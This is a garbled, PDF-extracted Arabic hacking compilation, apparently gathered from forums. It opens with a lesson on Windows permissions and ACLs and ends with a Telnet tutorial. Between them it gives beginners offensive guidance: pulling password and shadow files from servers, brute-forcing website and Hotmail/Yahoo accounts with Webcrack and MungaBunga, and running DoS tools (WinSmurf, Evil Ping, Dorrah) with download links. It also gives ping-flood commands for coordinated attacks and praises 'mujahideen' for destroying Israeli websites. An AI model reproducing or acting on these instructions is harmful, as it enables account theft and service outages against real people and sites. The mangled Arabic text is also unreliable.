‫للوصول للبيانات و المعدات كل حسب طبيعة عمله و‬ ‫في هذه الحالة يجب مشاركة البيانات و المعدات‬ ‫للسما ح للتخرين باستخدامها‪.‬‬ ‫‪ -8‬تزويد المستخدمين بحقوق ‪ Rights‬تحدد‬ ‫النشطة و العمليات المسمو ح لهم إهجراءها على‬ ‫النظا‪.‬م‪.‬‬ ‫هناك نظامان أساسيان لعطاء التصاريح و الحقوق ‪:‬‬ ‫‪ -1‬المشاركة المحمية بكلمة مرور‪.‬‬ ‫‪ -2‬تصاريح الوصول‪.‬‬ ‫في النظا‪.‬م الول يتم تعيين كلمة سر لكل من الموارد‬ ‫المطلوب مشاركتها و يتم الوصول لهذه الموارد فقط‬ ‫من قبل من لديه كلمة السر‪.‬‬ ‫كما تستطيع تحديد درهجة الوصول هل هي للقراءة فقط‬ ‫أ‪.‬م وصول كامل أ‪.‬م وفقا لكلمة السر‪.‬أنظر الصورة‪.‬‬

‫‪55‬‬

‫في النظا‪.‬م الثاني يتم تعيين الحقوق و إعطاء التصاريح‬ ‫لكل مستخد‪.‬م أو مجموعة مستخدمين ‪ ،‬و يكفي أن‬ ‫يدتخل المستخد‪.‬م كلمة المرور عند الدتخول الى نظا‪.‬م‬ ‫التشغيل ليتعرف النظا‪.‬م على حقوق هذا المستخد‪.‬م و‬ ‫التصاريح المتوفرة له‪ ،‬و يعتبر هذا النظا‪.‬م أكثر أمنا‬ ‫من النظا‪.‬م السابق و يعطي مدير الشبكة تحكما أكبر‬ ‫بكل مستخد‪.‬م‪.‬‬ ‫‪56‬‬

‫عند إدتخال السم و كلمة المرور يتم تمرير هذه‬ ‫المعلومات الى مدير أمن الحسابات ‪Security‬‬ ‫‪ (Accounts Manager (SAM‬فإذا كان‬ ‫الولوج الى هجهاز ‪ Workstation‬فإن المعلومات‬ ‫يتم مقارنتها مع قاعدة بيانات حسابات المن المحلية‬ ‫في الجهاز‪ ،‬أما إذا كان الولوج الى نطاق ‪Domain‬‬ ‫فإن المعلومات يتم إرسالها الى مزود ‪ SAM‬الذي‬ ‫يقارنها مع قاعدة بيانات حسابات النطاق‪ ،‬فإذا كان‬ ‫اسم المستخد‪.‬م أو كلمة المرور غير صالحين فإن‬ ‫المستخد‪.‬م يمنع من الدتخول الى النظا‪.‬م‪ ،‬أما إذا كانا‬ ‫صحيحين فإن نظا‪.‬م المن الفرعي يقو‪.‬م بإصدار بطاقة‬ ‫ولوج ‪ Access Token‬تعرف النظا‪.‬م بالمستخد‪.‬م‬ ‫فترة ولوهجه و تحتوي هذه البطاقة على المعلومات‬ ‫التالية‪:‬‬ ‫‪ -1‬المعرف المني ‪(Security Identifier (SID‬‬ ‫و هو رقم فريد تخاص بكل حساب‪.‬‬ ‫‪ -2‬معرفات المجموعة ‪ Group SIDs‬و هي التي‬ ‫تحدد المجموعة التي ينتمي لها المستخد‪.‬م‪.‬‬ ‫‪57‬‬

‫‪ -3‬المتيازات ‪ Privileges‬و هي تمثل الحقوق‬ ‫الممنوحة لحسابك‪.‬‬ ‫كما أنه يتم إصدار ‪ Access Token‬عند محاولتك‬ ‫التصال من هجهازك بجهاز آتخر على شبكتك و يطلق‬ ‫على هذا الهجراء الولوج عن بعد ‪Remote‬‬ ‫‪.Logon‬‬ ‫من المور التي يجب مراعاتها عند الحديث عن أمن‬ ‫الشبكة هو المحافظة على أمن الموارد مثل الطابعات و‬ ‫محركات القراص و الملفات و التي يقو‪.‬م مدير الشبكة‬ ‫بتعيين تصاريح لستخدا‪.‬م هذه الموارد‪.‬‬ ‫و من التصاريح التي قد تعطى للوصول الى الملفات ما‬ ‫يلي‪:‬‬ ‫‪ -1‬تصريح قراءة و يسمح لك بعرض و نسخ الملفات‪.‬‬

‫‪ -2‬تصريح تنفيذ للتطبيقات‪.‬‬ ‫‪ -3‬تصريح كتابة و يسمح بالتعديل في محتوى‬ ‫‪58‬‬

‫الملفات‪.‬‬ ‫‪ -4‬ممنوع الستخدا‪.‬م ‪.No Access‬‬ ‫و التصاريح ممكن منحها لمستخد‪.‬م أو مجموعة من‬ ‫المستخدمين و هذا ٍأسهل‪.‬‬ ‫يمتلك كل مورد من الموارد قائمة تحكم بالوصول‬ ‫‪ (Access Control List (ACL‬و كل معلومة‬ ‫يتم إدتخالها في ‪ ACL‬يطلق عليها ‪Access‬‬ ‫‪.(Control Entry (ACE‬‬ ‫يتم إنشاء ‪ ACE‬عند منح التصريح لستخدا‪.‬م المورد‬ ‫و تحتوي على ‪ SID‬للمستخد‪.‬م أو مجموعته الممنوحة‬ ‫التصريح بالضافة الى نوع التصريح‪ ،‬فلو افترضنا أن‬ ‫مدير مجموعة ما قد ُمنح تصريح قراءة و تصريح‬ ‫كتابة لملف ما فإن ‪ ACE‬هجديد يتم إنشاؤه ثم إضافته‬ ‫الى ‪ ACL‬الخاص بالملف و سيحتوي ‪ ACE‬على‬ ‫‪ SID‬لمدير المجموعة بالضافة الى تصريح قراءة و‬ ‫تصريح كتابة‪.‬‬ ‫هناك نوعان ل ‪: ACE‬‬ ‫‪59‬‬

‫‪ -1‬الوصول مسمو ح ‪.AccessAllowed‬‬ ‫‪ -2‬الوصول ممنوع ‪ AccessDenied‬و يتم‬ ‫إنشاؤها إذا كان تصريح الوصول هو ‪.No Access‬‬

‫و هكذا عندما يحاول مستخد‪.‬م ما الوصول الى مورد ما‬ ‫يتم مقارنة ‪ SID‬الخاص به مع ‪ SIDs‬في كل ‪ACE‬‬ ‫من ‪ ACL‬للمورد‪.‬‬ ‫في ويندوز ‪ NT‬و ويندوز ‪ 2000‬يتم ترتيب ‪ACE‬‬ ‫بحيث تكون ‪ AccessDenied ACEs‬قبل‬ ‫‪ ، AccessAllowed ACEs‬فإذا وهجد ‪SID‬‬ ‫تخاصتك في أي من ‪AccessDenied ACEs‬‬ ‫فستمنع من الوصول الى المورد و إل فسيبحث في‬ ‫‪ AccessAllowed ACEs‬للتأكد من الحقوق‬ ‫الممنوحة لك فإن لم يعثر على ‪ SID‬مطابق لخاصتك‬ ‫فستعرض رسالة تحذير تمنعك من الوصول للمورد‪.‬‬ ‫ملخص الدرس‪:‬‬ ‫‪60‬‬

‫هناك بعض الهجراءات التي يجب اتخاذها للمحافظة‬ ‫على أمن الشبكة و منها‪:‬‬ ‫تدريب المستخدمين ‪ ،‬حماية المعدات ‪ ،‬تشفير البيانات‬ ‫‪ ،‬استخدا‪.‬م أهجهزة عديمة القراص ‪ ،‬مراقبة العمليات‬ ‫التي تجرى على الشبكة‪.‬‬ ‫هناك نظامان أساسيان لعطاء التصاريح و الحقوق ‪:‬‬ ‫‪ -1‬المشاركة المحمية بكلمة مرور‪.‬‬ ‫‪ -2‬تصاريح الوصول‪.‬‬ ‫انتهى‪،،،‬‬

‫‪61‬‬

‫"مصطلحات مهمة للمبتدئين في‬ ‫اوختراق المواقع"‬ ‫>منقول<‬ ‫>الكاتب‪
‫‪62‬‬

‫لقد اعددت هذا الملف لتخواني المبتدئين في تعلم طرق‬ ‫اتختراق المواقع ‪ ،‬فقد‬ ‫تواهجههم بعض الكلمات التي قد تكون غريبة عليهم و‬ ‫التي قد ل يفهمونها ‪،‬‬ ‫و بالتالي تشكل لهم بعض العواقب في مواصلة الفهم و‬ ‫التعلم ‪ .‬فال الموفق‪.‬‬ ‫=============================‬ ‫=============================‬ ‫===========‬ ‫تلنت )‪ -:(Telnet‬و هو برنامج صغير موهجود في‬ ‫الويندوز ‪ .‬و هو يعمل ككلينت‬ ‫أو وضعيته تكون دائما كزبون ‪ .‬أي أن باستطاعة هذا‬ ‫البرنامج التصال بالسيرفر‬ ‫أوالخاد‪.‬م و اهجراء بعض العمليات كل حسب مستواها و‬ ‫حالتها ‪ .‬يستخدمه الهاكرز‬ ‫غالبا لمعرفة نظا‪.‬م تشغيل الموقع و السيرفر التابع له ‪،‬‬ ‫و للتصال بالسيرفر‬

‫‪63‬‬

‫عبر بورت معين و تخصوصا بورت الف تي بي )‪(21‬‬ ‫للدتخول الى الموقع بطريقة تخفية‬ ‫‪ Anonymous Mode‬لعرض ملفات الموقع و‬ ‫سحب ملف الباسورد او غيره من البيانات‪.‬‬ ‫لستخدا‪.‬م البرنامج ‪ ،‬اذهب الى ‪Start ==> Run‬‬ ‫‪ ==> telnet‬و ستظهر شاشة التلنت‪.‬‬ ‫‪--------------------------------------------------‬‬‫‪---------------------‬‬

‫برامج السكان أو ‪ -:Scanner‬و هي برامج موهجودة‬ ‫للمسح على المواقع و كشف‬ ‫ثغراتهاإن وهجدت ‪ ،‬فهي سريعة‪ ،‬كما أنها تملك قاعدة‬ ‫بيانات واسعة و كبيرة‬ ‫تحتوي على الثغرات أو الكسبلويت )‪(Exploits‬‬ ‫التي يتم تطبيقها على الموقع‬ ‫لرؤية فيما اذا كان السيرفر يعاني من احدى هذه‬ ‫الثغرات أ‪.‬م ل ‪ .‬و من أمثلة‬

‫‪64‬‬

‫هذه البرامج‪ ،‬برنامج ‪Shadow Security‬‬ ‫‪ Scanner‬و ‪ Stealth‬و ‪Omran Fast‬‬ ‫‪ ، Scanner‬الخ ‪.‬‬ ‫و لهذه البرامج أنواع مختلفة ‪ ،‬منها التي تقو‪.‬م بعمل‬ ‫سكان على نظا‪.‬م أو سيرفر‬ ‫معين مثل البرامج المختصة بالسكان على سيرفرات الـ‬ ‫‪ IIS‬و منها برامج المسح‬ ‫على ثغرات السي هجي اي فقط ‪ CGI‬و ما الى ذلك ‪.‬‬ ‫‪--------------------------------------------------‬‬‫‪--------------------‬‬

‫اكسبلويت )‪ -:(Exploits‬هي برامج تنفيذية تنفذ من‬ ‫تخلل المتصفح ‪ .‬و لها عنوان‬ ‫‪ ، URL‬تقو‪.‬م هذه الكسبلويتات بعرض ملفات الموقع‬ ‫و تقو‪.‬م بعضها بالدتخول الى‬ ‫السيرفر و التجول فيه ‪ ،‬كما توهجد اكسبلويتات تقو‪.‬م‬ ‫بشن هجو‪.‬م على بورت معين‬

‫‪65‬‬

‫في السيرفر لعمل كراش له ‪ ،‬و هذا ما يسمى بـ‬ ‫‪. Buffer Over Flow Exploits‬‬ ‫هناك أنواع من الكسبلويت ‪ ،‬فمنها ال ‪CGI‬‬ ‫‪ Exploits‬أو ال ‪ CGI Bugs‬و منها‬ ‫ال ‪ Unicodes Exploits‬و منها ال ‪Buffer ،‬‬ ‫‪ ، Over Flow Exploits‬و منها‬ ‫ال ‪، PHP Exploits‬و منها ال ‪DOS‬‬ ‫‪ Exploits‬و التي تقو‪.‬م بعملية حجب الخدمة‬ ‫للسيرفر إن وهجد فيها الثغرة المطلوبة لهذا الهجو‪.‬م و‬ ‫ان لم يكن على السيرفر‬ ‫أي فايروول ‪ . Fire Wall‬و هناك بعض‬ ‫الكسبلويتات المكتوبة بلغة السي و يكون‬ ‫امتدادها )‪. (c.‬‬ ‫هذه الكسبلويتات بالذات تحتاج الى كومبايلر او‬ ‫برنامجا لترهجمتها و تحويها‬ ‫أي الكسبلويت الى اكسبلويت تنفيذي عادي يستخد‪.‬م‬ ‫من تخلل المتصفح ‪ ،‬و لتحويل‬

‫‪66‬‬

‫الكسبلويت المكتبو بلغة السي هذه الى برنامجا تنفيذيا‬ ‫‪ ،‬نحتاج إما الى‬ ‫نظا‪.‬م التشغيل لينوكس او يونكس ‪ ،‬او الى اي كومبايلر‬ ‫يعمل ضمن نظا‪.‬م التشغيل‬ ‫ويندوز ‪ .‬أشهر هذه الكومبايلرات ) المترهجمات أو‬ ‫المحولت ( برنامج اسمه‬ ‫‪ Borland C++ Compiler‬و هي تعمل تحت‬ ‫نظا‪.‬م التشغيل ويندوز كما ذكرنا سابقا‪.‬‬ ‫‪--------------------------------------------------‬‬‫‪-------------------‬‬

‫الجدار الناري ‪ -:FireWall‬هي برامج تستعملها‬ ‫السيرفرات لحمايتها من الولوج‬ ‫الغير شرعي لنظا‪.‬م ملفاتها من قبل المتطفلين ‪ .‬هي‬ ‫تمثل الحماية للسيرفر طبعا ‪،‬‬ ‫و لكني أنوه بأن الفايروولت المستخدمة لحماية‬ ‫السيرفرات ) المواقع ( تختلف‬ ‫عن تلك التي تستخد‪.‬م لحماية الهجهزة ‪.‬‬ ‫‪67‬‬

‫‪--------------------------------------------------‬‬‫‪-------------------‬‬

‫‪ -:Token‬هو ملف الباسورد المظلل )‬ ‫‪ (Shadowed Passwd‬و الذي يكون فيه‬ ‫الباسورد‬ ‫على شكل * أو ‪ x‬أي ‪ . Shadowed‬إن وهجدت‬ ‫ملف الباسورد مظلل ‪ ،‬فيجب عليك حينها‬ ‫البحث عن ملف الباسورد الغير المظلل و الذي يسمى‬ ‫‪ . Shadow file‬تجده في‬ ‫‪. etc/shadow/‬‬ ‫‪--------------------------------------------------‬‬‫‪-------------------‬‬

‫‪ -:Anonymouse‬هي الوضعية الخفية و‬ ‫المجهولة التي تدتخل فيها الى الموقع المراد‬ ‫اتختراقه‪ .‬هناك تخاصية في برامج الف تي بي بنفس‬ ‫السم ‪ ،‬تستطيع ان تستعملها‬ ‫‪68‬‬

‫في الدتخول المجهول الى السيرفر و سحب الملفات منه‬ ‫‪.‬‬ ‫‪--------------------------------------------------‬‬‫‪-------------------‬‬

‫‪ -:Valnerableties‬أي الثغرات أو مواضع‬ ‫الضعف الغير محصنة أو القابلة للعطب‬ ‫و التي يعاني منها السيرفر و التي قد تشكل تخطرا‬ ‫أمنيا عليه مما يؤدي الى‬ ‫استغللها من قبل الهاكرز في مهاهجمة السيرفر و‬ ‫اتختراقه أو تدميره ‪.‬‬ ‫ما هي مفردها ؟ ‪ Valnerable ، (:‬أي ثغرة أو‬ ‫بالصح موضع الضعف و المكان‬ ‫الغير مؤمن بشكل سليم ‪ .‬و تكثر هذه الكلمة في‬ ‫القوائم البريدية للمواقع المهتمة‬ ‫بالسيكيوريتي و أمن الشبكات و غيرها كالقائمة‬ ‫البريدية الموهجودة في موقع‬ ‫‪ Security Focus‬أو بوق تراك او غيرها ‪.‬‬ ‫‪69‬‬

‫‪--------------------------------------------------‬‬‫‪-------------------‬‬

‫‪ : passwd file‬هو الملف الذي يحتوي على‬ ‫باسورد الروت و باسوردات الشخاص‬ ‫المصر ح لهم بالدتخول الى السيرفر ‪ .‬باسورد الموقع‬ ‫موهجود في نفس الملف طبعا‪.‬‬ ‫‪--------------------------------------------------‬‬‫‪------------------‬‬‫الجذر أو الـ ‪ : root‬و هو المستخد‪.‬م الجذري و‬ ‫الرئيسي للنظا‪.‬م ‪ ،‬له كل الصلحيات‬ ‫في التعامل مع ملفات الموقع و السيرفر من إزالة أو‬ ‫اضافة أو تعديل للملفات‪.‬‬ ‫غالبا ما يكون باسورد الروت هو باسورد الموقع‬ ‫نفسه في المواقع التي تعمل ضمن‬ ‫نظا‪.‬م التشغيل لينوكس او يونكس و سولري و فري‬ ‫بي اس دي و غيرها ‪.‬‬

‫‪70‬‬

‫‪--------------------------------------------------‬‬‫‪------------------‬‬‫السيرفر ‪ :Server‬هو الجهاز المستضيف للموقع ‪،‬‬ ‫اذ أن كل ملفات الموقع توضع فيه‬ ‫فهو هجهاز كمبيوتر عاد كغيره من الهجهزة لكنه ذو‬ ‫امكانيات عالية ككبر حجم القرص‬ ‫الصلب و سرعته الهائلة ‪ ،‬و هو متصل بالنترنت ‪24‬‬ ‫ساعة ‪ ،‬و هذا هو سبب كون‬ ‫المواقع شغالة ‪ 24‬على النترنت ‪ . (:‬قد يملك و‬ ‫يستضيف السيرفر أكثر من موقع‬ ‫واحد‪ ،‬و هذا يعتمد من سيرفر لتخر و من شركة‬ ‫لتخرى‪ .‬ضربة الهاكرز طبعا هي اتختراق‬ ‫السيرفر الذي يملك الكثير من المواقع ‪ ،‬فيسهل حينها‬ ‫اتختراق هجميع المواقع التي‬ ‫تندرج تحته مما يؤدي إما الى تدميرها أو العبث في‬ ‫ملفاتها أو تشويه واهجهتها أو‬ ‫سرقة بياناتها و تدميرها أو مسحها من النت تماما ‪ ،‬و‬ ‫هذا ما يحدث للمواقع‬ ‫‪71‬‬

‫السرائيلية و بكثرة و ل الحمد ‪ - .‬هجزاكم ال تخيرا‬ ‫أيها المجاهدون ‪. -‬‬ ‫‪--------------------------------------------------‬‬‫‪-------------------‬‬‫بوفر أوفر فلو ) ‪ : ( Buffer over Flow‬و هي‬ ‫نوع من أنواع الكسبلويتات التي‬ ‫تستعمل لشن هجو‪.‬م الطفح على نقطة معينة من‬ ‫السيرفر مثل الهجو‪.‬م على بورت الف تي بي‬ ‫أو غيره لهجل اضعاف اتصال السيرفر و فصل اتصاله‬ ‫بهذا بهذا البورت و للغاء الرقعة‬ ‫الموهجودة بها كي يتم استغللها مجددا ‪ -‬بعد عمل‬ ‫الكراش لها طبعا ‪ -‬يتم استغللها‬ ‫في معاودة التصال لها و بسهولة و دون وهجود أي‬ ‫رقع او حواهجز و سحب البيانات منها ‪.‬‬ ‫و هي شبيهة نوعا ما بعملية حجب الخدمة ‪- DOS -‬‬ ‫اذ أنها تقو‪.‬م بعملية اوفر لود على‬ ‫هجزء مركز من السيرفر ‪.‬‬ ‫انتهى‪،،،‬‬ ‫‪72‬‬

‫"اوختراق المواقع للمبتدئين"‬ ‫التختراق للمبتدئين‪:::‬‬ ‫في هذا القسم سوف أقو‪.‬م بشر ح الطرق المستخدمة في‬ ‫اتختراق المواقع بالنسبة للمبتدئين وهذه الطرق تعتمد‬ ‫اعتماد ًا كلي ًا على برامج التخمين‪ .‬وهذه البرامج‬ ‫تحتوي على قائمة كبيرة تحتوي على كلمات سر يقو‪.‬م‬ ‫البرنامج بتجربها على الموقع الهدف الى أن يصل إلى‬ ‫كلمة السر الصحيحة الخاصة بالموقع الهدف وبعد‬ ‫ذلك يسيطر المخترق على الموقع‪ .‬لكن يعيب هذه‬ ‫الطريقة أنها تستمر إلى أوقات طويلة بالساعات‬ ‫وباليا‪.‬م‬ ‫وهي مكلفة ماديا لن الجهاز سيبقى متصل طوال‬ ‫الوقت بالنترنت حتى يتم اكتشاف كلمة السرالصحيحة‪.‬‬

‫انتهى‪،،،‬‬

‫‪73‬‬

74

‫" الوختراق ببربنامج ‪" Webcrack‬‬ ‫>منقول من منتدى إعصار<‬ ‫>الكاتب‪ :‬النازي<‬ ‫مرحبا شباب‬ ‫انا اعلم ان الكثير منك يعرفون هذا البرنامج لكن هل‬ ‫هجربتوه ‪ ....‬احب اقول‬ ‫انه واحد من اقوى البرامج لاتختراق المواقع وانا من‬ ‫الشخاص الذين يعتمدون عليه‬ ‫الشر ح ‪...‬‬

‫‪75‬‬

76

77

78

‫وهذي وصلة البرنامج‬ http://www.dunbell.freeserve. co.uk/webcrack40.zip 79

‫انتهى‪،،،‬‬

‫"الوختراق ببربنامج ‪" MungaBunga‬‬ ‫>منقول<‬ ‫>الكاتب‪< KING HAKER :‬‬ ‫السل‪.‬م عليكم و رحمه ال على اتخوانى‪:‬‬ ‫اليو‪.‬م نشر ح برنامج ‪ MUNGA BUNGA‬الذى يعد‬ ‫من افضل برامج اتختراق اليميل حتى الن و لكن يوهجد‬ ‫به عيب بسيط و هو انه ل يوهجد به بروكسى‬ ‫اما مميزاته فكثيره هجدا‪:‬‬ ‫‪-1‬سريع هجدا فى تجربه الكلمات‬ ‫‪-2‬يواصل التجربه تلقائيا بعد انقطاع الخط‬ ‫‪-3‬يمكنك اتختراق المواقع به ايضا‬ ‫‪-4‬يعلن لك حاله اتصاله بسرفر اليميل الذى تخترقه‬ ‫‪-5‬يمكنك التحكم فى عدد حروف الكلمات الذى سيبدا‬ ‫بها)حسب التوقع(‬ ‫‪-6‬يحتوى على قائمه باسوردس تخاصه بالهوت ميل و‬ ‫بها عدد هائل من الكلمات المتوقعه‬ ‫و كذلك بالنسبه للياهو‬ ‫‪80‬‬

‫و السرفرات التخرى ايضا‬ ‫و الن نبدا الشر ح‪:‬‬ ‫هذا شكل البرنامج عند تشغيله‬

‫فى رقم ‪ 1‬تضع اليميل الذى ستخترقه‬ ‫فى ‪ 2‬تضغط ‪ BROWSE‬و تضع قائمه الباسوردس‬ ‫المليئه بالكلمات الذى سيقو‪.‬م البرنامج بتجربتها‬ ‫فى ‪ 3‬تضغط على ‪ BROWSE‬ايضا و تضع القائمه‬ ‫‪81‬‬

‫الخاصه بسرفر اليميل الذى ستخترقه )اذا كان فى‬ ‫الهوت ميل تضع قائمه الهوت ميل ‪.....‬الخ(‬ ‫‪ 4‬هو زر بدء الهكر على اليميل و تجربه الكلمات‬ ‫فى ‪ 5‬يعرض الباسوردس التى يجربها الن )فى وقت‬ ‫الهكر(‬ ‫فى ‪ 6‬يعرض الكلمات التى بها اتخطاء و سيتم المحاوله‬ ‫بها مره اتخرى‬ ‫‪ 7‬هى حاله التصال بالسرفر الموهجود به اليميل‬ ‫فى ‪ 8‬يعرض معلومات السرفر التابع لليميل الذى‬ ‫يجرب عليه‬ ‫بالضغط على رقم ‪ 9‬تذهب مباشره الى موقع البرنامج‬ ‫الرئيسى‬ ‫نضع علمه صح اما‪.‬م ‪ 10‬حتى اذا انقطع الخط فجاءه‬ ‫يتوقف البرنامج و عند معاوده التصال يستمر فى‬ ‫التجربه و ل يبدا من الول‬ ‫‪82‬‬

‫عند و ضع العلمه على ‪ 11‬ل يجرب البرنامج‬ ‫الكلمات التى بها اتخطاء التى تظهر فى رقم ‪6‬‬ ‫نضع علمه صح اما‪.‬م ‪ 12‬حتى ل يجرب البرنامج‬ ‫الكلمات التى تحتوى على مسافات‬ ‫عند وضع العلمه على ‪ 13‬ل يجرب البرنامج الكلمات‬ ‫التى اقل من تخمس احرف )مطلوب فى الهوت ميل(‬ ‫و عند وضع العلمه ايضا على ‪ 14‬ل يجرب البرنامج‬ ‫الكلمات التى هى اكثر من عشره احرف‬ ‫اليس برنامج ممتاز‬ ‫و قوى و سريع‬ ‫وصلة التنزيل ‪:‬‬ ‫‪http://koti.mbnet.fi/hypnosis/c‬‬ ‫‪aliberx/cracking.htm‬‬ ‫انتهى‪،،،‬‬

‫‪83‬‬

‫" بربنامج تدمير المواقع ‪" WinSmurf‬‬ ‫>منقول من منتدى إعصار<‬ ‫>الكاتب‪ :‬المدمر<‬ ‫أثبت هذا البرنامج فعاليته الكبيرة في تدمير المواقع‬ ‫ولسيما أنه قوي هجدا في إرسال طلبات وسريع ‪..‬‬ ‫إذا هاهو البرنامج الحديث من ‪ winsmurf‬والذي‬ ‫يسميه البعض مرعب المواقع‬ ‫‪Scree Shot‬‬ ‫‪84‬‬

‫‪--------------------------------------------------‬‬‫‪-----------‬‬

‫‪--------------------------------------------------‬‬‫‪----------‬‬‫*** كيف تستخد‪.‬م ‪ winsmurf‬؟ ***‬ ‫في غاية البساطة فقط قم بإنشاء ملف ‪ txt‬يعني نصي‬ ‫وحط في حروف وأرقا‪.‬م كثيرة يعني حاول تخلي الملف‬ ‫كبير شوي وبتعدى ‪ Kb 10‬بعدين احفظه‬ ‫وبعد كذا قم بتشغيل ‪winsmurf‬‬ ‫واستعرض الملف ‪...‬‬ ‫وصلة البرنامج‪..‬‬ ‫‪85‬‬

‫‪http://www.planet‬‬‫‪eagle.de/files/WSmurf.zip‬‬ ‫انتهى‪،،،‬‬

‫" شرح بربنامج ‪ Evil Ping‬لتدمير‬ ‫المواقع "‬ ‫>منقول من موقع الجهاد اللكتروني<‬

‫‪86‬‬

‫استخدامه من قبل ‪ 200‬شخص على القل في نفس‬ ‫الوقت على نفس الموقع لينجح التدمير بإذن ال‬ ‫‪.‬عزوهجل‬ ‫ويمكن زيادة الهجمات لتصبح أقوى حتى يتم تدمير‬ ‫‪.‬الموقع‬ ‫‪،،،‬انتهى‬

‫‪87‬‬

‫" شرح بربنامج الدر ة لتدمير المواقع "‬ ‫>منقول <‬ ‫عند النتهاء من تحميل البرنامج ‪ ,‬فك ضغط الملف ‪ ,‬و‬ ‫عند تشغيله سيظهر لك الشكل التالي ‪:‬‬

‫لبدء الهجو‪.‬م فقط إضغط على‬ ‫وليقاف الهجو‪.‬م إضغط على‬

‫عند بدء الهجو‪.‬م سيعمل برنامج الدرة على بحث‬ ‫البروكسي الخاص بك و سيضعه لك في مكانه‪.‬‬

‫‪88‬‬

‫و لتخفي هويتك عند الهجو‪.‬م قم بتشغيل ‪:‬‬ ‫و ضع رقم البروكسي التالي‬

‫وسيكون عنوان الموقع المراد الهجو‪.‬م عليه هنا‬

‫و من تخواص هذا البرنامج انه ل يستطيع احد تغيير‬ ‫هجهة الهجو‪.‬م و لتجديد عنوان الموقع المراد الهجو‪.‬م‬ ‫و هو سيقو‪.‬م تلقائيا بالبحث‬ ‫عليه فقط قم بضغط‬ ‫و التغيير‪.‬‬ ‫و لمعرفة آتخر اتخبار البرنامج و المواقع التي تم‬ ‫النجا ح بقصفها فقط قم بضغط ‪:‬‬

‫‪89‬‬

‫و سيظهر لك الشكل التالي ‪:‬‬

‫قم بضغط‬

‫و ستظهر لك التخبار‪.‬‬

‫و لعمل البرنامج بطريقة ذكية بحيث ل يبطيء‬ ‫النترنت ‪ ,‬قم بتشغيل ‪:‬‬

‫لتشغيل البرنامج عند عمل الوندوز قم بتشغيل ‪:‬‬

‫‪90‬‬

‫الشكل التالي يمثل عدد المرات الناهجحة ‪:‬‬ ‫‪ :‬و هذا يمثل عدد المرات الفاشلة‬ ‫‪..‬وصلة تحميل البرنامج‬ ‫‪http://www.geocities.com/boo‬‬ ‫‪m_q8y4/dorrah.zip‬‬ ‫‪،،،‬انتهى‬

‫‪91‬‬

‫" تدمير المواقع بدون برامج "‬ ‫> الكاتب‪:‬ماكس هاك <‬

‫في هذا الدرس سأقو‪.‬م بشر ح عدة طرق لتدمير المواقع‬ ‫بدون برامج ولكن هناك شرط لتدميرها أن يجتمع عدد‬ ‫كبير على الموقع نفسه ويقوموا بتطيق الطريقة معا‬ ‫‪...‬بعض في نفس الوقت‬ ‫‪::‬الطريقة الولى‬ ‫قم بالتوهجه إلى "الدوس" ===<== اكتب المر‬ ‫التالي ‪:‬ـ‬ ‫‪92‬‬

‫‪Ping www.xx.com‬‬ ‫‪ :Xxx‬يعني اسم الموقع‬ ‫‪.‬بعد ذلك سيخرج لك رقم أي بي الموقع‬ ‫‪:‬قم بكتابة المر‬ ‫)اسم الموقع( )قوة الضربه( ‪) I-‬عددالضربات(‬ ‫‪ping -n‬‬ ‫مثال ذلك‪:‬‬ ‫‪ping -n 1000 -l 400 www.xxx.com‬‬ ‫الطريقة الثانية‪::‬‬ ‫بعد استخراج الي بي تبع الموقع المراد بالطريقة الي‬ ‫في العلى‪...‬‬ ‫قم بكتابة المر‪:‬‬ ‫‪ping -t ip‬‬ ‫حيث ‪ ip‬يعني أي بي الموقع الموراد‪.‬‬ ‫انتهى‪،،،‬‬

‫‪93‬‬

‫" التلنيت "‬ ‫>منقول من موقع نورة<‬ ‫بعد قراءة هذا الموضوع ستكون قادر على‬ ‫فهم معنى تخدمة التلنت‬ ‫معرفة مكان تشغيل الخدمة والتحكم بها‬ ‫تمرين التثبيت وإستخدا‪.‬م التلنت‬ ‫تخدمة التلنت في ويندوز ‪ 2000‬تسمح لمستخدمين‬ ‫عميل التلنت بالتصال بكمبيوتر يشغل تخدمة التلنت‬ ‫وإستعمال سطر الوامر ويصبح كما لو كان يجلس‬ ‫أمامه ‪ ،‬ويمكن أن تكون تخدمة التلنت عبارة لتصال‬ ‫المستخدمين مع بعضهم البعض‬ ‫وأي كمبيوتر يشغل تخدمة التلنت يمكن أن يدعم إلى‬ ‫‪ 63‬عميل تلنت في أي وقت‬ ‫‪94‬‬

Telnet Authentication You can use your local Windows 2000 user name and password or domain account information to access the Telnet server. The security scheme is integrated into Windows 2000 security. If you do not use the NT LAN Manager (NTLM) authentication option, the user name and password are sent to the Telnet server as plain text.s 2000 security context for authentication and the user is not prompted for a user If you are using NTLM authentication, the client uses the Windowname and password. The user name and password are ‫يمكن استعمال اسمك وكلمة المرور‬.encrypted ‫ إذا‬، ‫الخاصه بك من اهجل الوصول إلى ملقم التلنت‬ NTLM ‫م تخيار التحقق من الصحة‬.‫كنت تستخد‬ 95

‫سيرسل السم و كلمة المرور مشفرة وإذا لم تكن‬ ‫مستخدمة سترسل كنص عادي‬ ‫ملحظة‬ If the User Must Change Password At Next Logon option is set for a user, the user cannot log on to the Telnet service when NTLM authentication is used. The user must log on to the server directly and change the password, and then ‫ إذا‬.log on through the Telnet client ‫كان هذا الخيار منشط في تخصائص كلمة المرور لحد‬ ‫المستخدمين لن يتمكن من الدتخول على ملقم التلنت‬ ‫ يجب الدتخول ثم تغير كلمة‬NTLM ‫م‬.‫عند إستخدا‬ ‫المرور ثم التسجيل على تخدمة التلنت‬

‫تشغيل و إيقاف ملقم التلنت‬ In a Windows 2000 Server default installation, the Telnet service is set 96

to manual startup. You can use the Services snap-in or the Computer Management snap-in to start, stop, or configure the Telnet service for ‫ في التثبيت الفتراضي‬.automatic startup ‫ تكون تخدمة التلنت غير منشطة‬2000 ‫لويندوز‬ ‫م الداة‬.‫ ويمكن إستخدا‬، ‫وتكون على الوضع اليدوي‬ ‫ لتشغيل أو إيقاف تخدمة التلنت‬Services

‫مكان التلنت‬ In the Computer Management snapin, Telnet is a service located under the Services and Applications node. Select Services from the console tree, and then select Telnet from the .list of services in the details pane ‫تشغيل التلنت و إيقافة من سطر الوامر‬ You can also start or stop the Telnet service from a command prompt. To 97

